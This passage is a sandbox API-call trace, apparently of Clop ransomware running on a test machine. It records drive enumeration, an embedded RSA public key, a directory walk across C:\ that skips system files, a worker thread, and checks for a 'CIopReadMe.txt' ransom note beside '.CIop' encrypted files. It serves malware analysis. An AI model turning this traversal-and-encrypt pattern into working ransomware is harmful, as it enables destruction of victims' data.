wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="D:") returned 2 [0169.036] GetDriveTypeW (lpRootPathName="D:") returned 0x1 [0169.036] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="E:") returned 2 [0169.036] GetDriveTypeW (lpRootPathName="E:") returned 0x1 [0169.037] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="F:") returned 2 [0169.037] GetDriveTypeW (lpRootPathName="F:") returned 0x1 [0169.037] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="G:") returned 2 [0169.037] GetDriveTypeW (lpRootPathName="G:") returned 0x1 [0169.037] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="H:") returned 2 [0169.037] GetDriveTypeW (lpRootPathName="H:") returned 0x1 [0169.038] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="I:") returned 2 [0169.038] GetDriveTypeW (lpRootPathName="I:") returned 0x1 [0169.038] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="J:") returned 2 [0169.038] GetDriveTypeW (lpRootPathName="J:") returned 0x1 [0169.038] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="K:") returned 2 [0169.038] GetDriveTypeW (lpRootPathName="K:") returned 0x1 [0169.039] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="L:") returned 2 [0169.039] GetDriveTypeW (lpRootPathName="L:") returned 0x1 [0169.039] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="M:") returned 2 [0169.039] GetDriveTypeW (lpRootPathName="M:") returned 0x1 [0169.039] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="N:") returned 2 [0169.039] GetDriveTypeW (lpRootPathName="N:") returned 0x1 [0169.039] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="O:") returned 2 [0169.040] GetDriveTypeW (lpRootPathName="O:") returned 0x1 [0169.040] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="P:") returned 2 [0169.040] GetDriveTypeW (lpRootPathName="P:") returned 0x1 [0169.040] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Q:") returned 2 [0169.040] GetDriveTypeW (lpRootPathName="Q:") returned 0x1 [0169.040] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="R:") returned 2 [0169.040] GetDriveTypeW (lpRootPathName="R:") returned 0x1 [0169.041] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="S:") returned 2 [0169.041] GetDriveTypeW (lpRootPathName="S:") returned 0x1 [0169.041] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="T:") returned 2 [0169.041] GetDriveTypeW (lpRootPathName="T:") returned 0x1 [0169.041] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="U:") returned 2 [0169.041] GetDriveTypeW (lpRootPathName="U:") returned 0x1 [0169.042] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="V:") returned 2 [0169.042] GetDriveTypeW (lpRootPathName="V:") returned 0x1 [0169.042] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="W:") returned 2 [0169.042] GetDriveTypeW (lpRootPathName="W:") returned 0x1 [0169.042] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="X:") returned 2 [0169.042] GetDriveTypeW (lpRootPathName="X:") returned 0x1 [0169.043] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Y:") returned 2 [0169.043] GetDriveTypeW (lpRootPathName="Y:") returned 0x1 [0169.043] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Z:") returned 2 [0169.043] GetDriveTypeW (lpRootPathName="Z:") returned 0x1 [0169.043] GetSystemInfo (in: lpSystemInfo=0x2dcff04 | out: lpSystemInfo=0x2dcff04*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0169.043] SetErrorMode (uMode=0x1) returned 0x1 [0169.044] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.044] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.044] lstrcpyW (in: lpString1=0x2dcf700, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0169.044] lstrcatW (in: lpString1="C:\\", lpString2="*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0169.044] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e378 [0169.044] PathFindFileNameW (pszPath="C:") returned="C:" [0169.044] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.044] wsprintfW (in: param_1=0x2dceee0, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\") returned 7 [0169.044] Sleep (dwMilliseconds=0xd) [0169.066] lstrcpyA (in: lpString1=0x2dce328, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0169.066] lstrcpyW (in: lpString1=0x2dce886, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0169.066] lstrcpyW (in: lpString1=0x2dce486, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0169.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dce328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0169.067] SetErrorMode (uMode=0x1) returned 0x1 [0169.067] wsprintfW (in: param_1=0x2dcdeec, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\CIopReadMe.txt") returned 17 [0169.067] CreateFileW (lpFileName="C:\\CIopReadMe.txt" (normalized: "c:\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0169.068] CloseHandle (hObject=0x384) returned 1 [0169.068] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.068] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2="..") returned 1 [0169.068] lstrcmpW (lpString1="BOOTNXT.CIop", lpString2=".") returned 1 [0169.068] lstrlenW (lpString=".CIop") returned 5 [0169.068] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.068] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0169.069] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0169.069] lstrlenW (lpString="bootsect.bak") returned 12 [0169.069] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.069] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.069] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.069] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.069] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.069] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.069] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.069] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0169.069] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0169.069] lstrlenW (lpString=".sys") returned 4 [0169.069] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.070] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0169.070] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0169.070] lstrlenW (lpString=".sys") returned 4 [0169.070] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.070] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.070] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.070] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.070] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.070] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.070] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0169.070] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0169.070] lstrlenW (lpString=".sys") returned 4 [0169.070] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.070] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.071] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.071] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0 [0169.071] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.071] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.071] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.072] lstrcatW (in: lpString1="C:", lpString2="\\*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0169.072] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e6b8 [0169.072] PathFindFileNameW (pszPath="C:") returned="C:" [0169.072] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.072] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.072] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.072] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0169.072] SetErrorMode (uMode=0x1) returned 0x1 [0169.073] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0169.073] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0169.073] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\$Recycle.Bin\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0169.073] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0169.073] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.073] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0169.073] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0169.074] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.074] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0169.074] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\*.*" | out: lpString1="C:\\$Recycle.Bin\\*.*") returned="C:\\$Recycle.Bin\\*.*" [0169.074] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.074] PathFindFileNameW (pszPath="C:\\$Recycle.Bin") returned="$Recycle.Bin" [0169.074] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin" [0169.074] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.075] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.075] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0169.075] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0169.075] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.075] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.075] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0169.075] SetErrorMode (uMode=0x1) returned 0x1 [0169.075] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0169.076] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0169.076] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0169.076] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0169.076] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.076] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0169.076] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0169.076] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.077] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0169.077] lstrcatW (in: lpString1="C:\\Boot", lpString2="\\*.*" | out: lpString1="C:\\Boot\\*.*") returned="C:\\Boot\\*.*" [0169.077] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.077] PathFindFileNameW (pszPath="C:\\Boot") returned="Boot" [0169.077] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Boot" | out: lpString1="Boot") returned="Boot" [0169.077] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.077] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.078] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.078] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.078] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.078] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.078] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0169.078] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0169.078] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.078] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.078] lstrcatW (in: lpString1="C:\\", lpString2="Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0169.078] SetErrorMode (uMode=0x1) returned 0x1 [0169.078] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0169.078] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0169.079] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Config.Msi\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0169.079] lstrcatW (in: lpString1="C:\\Config.Msi\\", lpString2="*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0169.079] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.079] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0169.079] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0169.079] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.079] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0169.080] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.080] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.080] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0169.080] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0169.080] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.081] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0169.081] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0169.081] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0169.081] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.082] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0169.082] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.082] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0169.082] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.082] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0169.083] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0169.083] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.083] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.083] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0169.083] SetErrorMode (uMode=0x1) returned 0x1 [0169.083] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0169.083] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0169.083] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Documents and Settings\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0169.083] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0169.083] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0169.084] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0169.084] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0169.084] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0169.084] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.084] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.084] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0169.084] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0169.084] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0169.085] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0169.085] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0169.085] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0169.085] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.085] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0169.085] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.085] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.085] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.085] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0169.085] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0169.085] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.086] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.086] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0169.086] SetErrorMode (uMode=0x1) returned 0x1 [0169.086] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0169.086] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0169.086] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\PerfLogs\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0169.086] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0169.086] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.087] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0169.087] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0169.087] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.087] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0169.087] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0169.087] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.087] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0169.088] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0169.088] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.088] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.088] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0169.088] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0169.088] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0169.088] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0169.088] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0169.088] SetErrorMode (uMode=0x1) returned 0x1 [0169.089] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0169.089] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0169.089] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0169.089] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0169.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e478 [0169.089] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0169.089] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0169.089] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0169.090] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0169.090] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0169.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e378 [0169.090] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0169.090] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0169.090] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0169.091] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0169.091] lstrcmpW (lpString1="Program Files (x86)", 